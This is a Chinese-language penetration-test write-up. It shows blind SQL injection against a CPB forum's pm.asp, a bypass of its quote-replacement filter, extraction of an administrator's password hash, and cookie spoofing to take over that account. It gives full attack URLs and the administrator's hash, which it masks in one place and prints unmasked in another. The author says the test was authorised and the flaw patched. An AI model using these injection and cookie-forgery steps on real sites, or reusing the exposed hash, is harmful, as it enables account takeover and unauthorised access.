一天上网溜达的时候好友紫侠客叫我去帮他打理打理20NT的论坛,那段时间正好闲着没事,就答应了。注册后发现短信箱里有一封欢迎来到20NT,奖励我XX两银子的短信息(怎么平时没见有人送我点RMB啊...浪心在后面大怒道:给你银子花还在这里不老实,兄弟们给我上啊。)。可是那个短消息窗口总是不断的跳出来很让人有点想法,于是准备看看这个坛子的安全性。
论坛最下面的信息显示这个论坛为DVBBS的,但是从论坛的文件名来看又不像(后来紫侠客告诉我这个论坛的名字是CPB),也许是自己修改了一下吧,不管他。先是找出了查看短信息时的URL,准备看看有没有注入漏洞;递交:
引用:
--------------------------------------------------------------------------------
/iisHelp/common/500-100.asp,行242
ADODB.Field 错误 '80020009'
BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。
/20ntbbs/pm.asp/pm.asp,行0
--------------------------------------------------------------------------------
经验告诉我,应该是存在注入漏洞的。再来尝试:
代码:
--------------------------------------------------------------------------------
http://www.vanboy.net/20ntbbs/pm.asp?mode=kai&q_id=x%20and%200<>(select%20count(*)%20from%20user)
--------------------------------------------------------------------------------
这次页面成功显示了,哈哈,很容易的得到了表名、列名等关键信息。查看管理团队的名单,还是拿浪心来开刀吧,浪心别打我哦。先确认一下ID:
代码:
--------------------------------------------------------------------------------
http://www.vanboy.net/20ntbbs/pm.asp?mode=kai&q_id=3xxxx%20and%20'浪心'=(select%20username%20from%20user%20where%20username='浪心')
--------------------------------------------------------------------------------
呵呵,这次好像出了点意外,返回信息为:
引用:
--------------------------------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC Microsoft Access Driver] 语法错误 (操作符丢失) 在查询表达式 'q_id=4 and ''浪心''=(select username from user where username=''浪心'')' 中。
/20ntbbs/pm.asp,行0
--------------------------------------------------------------------------------
我加进去的语句中包含的单引号'全被替换成了双引号",我想这就是论坛开发人员所犯的一个天真的错误吧,认为只要检查语句中是不是包含单引号,如果发现单引号就把他替换成为双引号就可以完全杜绝SQL注入攻击了。其实我们完全可以饶过他的这个限制继续进行子查询来得到密码。
继续进行查询:
代码:
--------------------------------------------------------------------------------
http://www.vanboy.net/20ntbbs/pm.asp?mode=kai&q_id=3xxxx%20and%20exists%20(select%20u_id%20from%20user%20where%20u_id=1%20and%20asc(mid(username,1,1))=-16181)
--------------------------------------------------------------------------------
解释一下语句的意思,asc(mid(username,1,1))=xx中使用了二个SQL函数,其中ASC()是把括号中的内容转化成为ASC码,mid(username,1,1)的于是就是把一个内容分成几部分取出,格式为mid(列名,起始位,取出字符的长度),上面句子中的意思就是取出username列中第一位ASC码为-16181,-16181就是浪心的中文ID中的浪的ASC码值。递交上面的URL就不包含单引号了,我们仍然可以达到查询的目的。如果猜对了就会正常返回页面,递交上面的语句返回了正常的页面说明在user表中浪心的id为1,再继续猜密码:
代码:
--------------------------------------------------------------------------------
http://www.vanboy.net/20ntbbs/pm.asp?mode=kai&q_id=3xxxx%20and%20exists%20(select%20u_id%20from%20user%20where%20u_id=1%20and%20asc(mid(username,1,1))=-16181%20and%20asc(mid(password,1,1))>120)
--------------------------------------------------------------------------------
猜错了,再递交:
代码:
--------------------------------------------------------------------------------
http://www.vanboy.net/20ntbbs/pm.asp?mode=kai&q_id=3xxxx%20and%20exists%20(select%20u_id%20from%20user%20where%20u_id=1%20and%20asc(mid(username,1,1))=-16181%20and%20and%20asc(mid(password,1,1))=54)
--------------------------------------------------------------------------------
这次成功返回了页面,猜对了,接下来就是漫长的猜解过程,一共是16位经过MD5加密后的密码,在猜解过程中可以使用<、>、=来快速定位ASC码值。经过N次失败后终于猜解出密码为:6957b753780exxxx,在前面我们已经得到浪心的userid为1,现在就只需要进行COOKIE欺骗就可以以管理员的身份进入论坛的前台操作了。
用IECookiesView找到名字为www.vanboy.net的COOKIE,进行编辑。把userid、password和username修改成以下内容:
引用:
--------------------------------------------------------------------------------
userid=1&password=6957b753780e548c&username=浪心
--------------------------------------------------------------------------------
保存后,在IE里输入论坛的URL试试,呵呵,变成浪心了。发个贴纪念一下,就可以闪人了。如果想得到后台的管理密码,而进一步渗透,那还是一样,查询admin表中的username和password再进行破解就可以了。
这次用简单的注入获得了CPB论坛的管理权限,虽然有一点麻烦,但是CPB论坛所设置的防范注入的措施对于一个熟悉SQL语句和注入的人根本不算什么难题。而CPB论坛也就因为这样,很多页面都存在注入缺陷,如:pm.asp、list.asp和topic.asp等等都存在这样的缺陷,我已经通知CPB的开发人员编写补丁程序,另外此次对20NT的论坛渗透测试是在获得准许的情况下进行的,而且已经修补好漏洞,请不要对其进行恶意攻击! |